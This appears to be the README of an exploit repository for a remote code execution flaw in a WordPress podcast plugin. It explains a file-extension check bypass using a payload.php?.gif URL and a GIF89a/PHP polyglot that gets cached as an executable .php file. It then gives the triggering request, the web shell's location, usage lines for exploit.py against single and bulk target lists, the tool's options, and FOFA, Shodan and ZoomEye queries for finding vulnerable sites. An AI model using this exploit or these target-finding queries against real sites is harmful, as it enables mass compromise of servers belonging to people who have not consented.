// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif"  <- BYPASS!

// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"

1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
   (File starts with GIF89a header but contains PHP code)

2. Exploit appends ?.gif to URL: payload.php?.gif
   Then hex-encodes the full URL

3. Trigger cache download:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. Plugin processing:
   a. Downloads file from attacker URL
   b. is_image() checks content: GIF89a header detected - PASS
   c. is_image() checks extension: basename sees "gif" - PASS
   d. extract_file_extension() uses parse_url path: gets "php"
   e. File saved as: test_original.php

5. File location:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. Attacker accesses the file with parameters -> RCE achieved

git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

-u, --url          Single target URL
-f, --file         File containing target URLs (one per line)
-s, --shell        URL hosting the GIF89a PHP polyglot
--filename         Custom filename for cached file (default: shell)
--shell-url        Direct URL for interactive mode
-o, --output       Output file for vulnerable targets (bulk mode)
-t, --threads      Number of threads (default: 10)
-v, --verbose      Verbose output
--debug            Debug output (show all HTTP requests)
--no-payload-test  Skip payload accessibility test

GIF89a        <- Valid GIF header (passes exif_imagetype check)
/*            <- Start of comment (GIF binary data is commented out for PHP)

<?php         <- PHP code begins here
// ... code ...
?>

# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"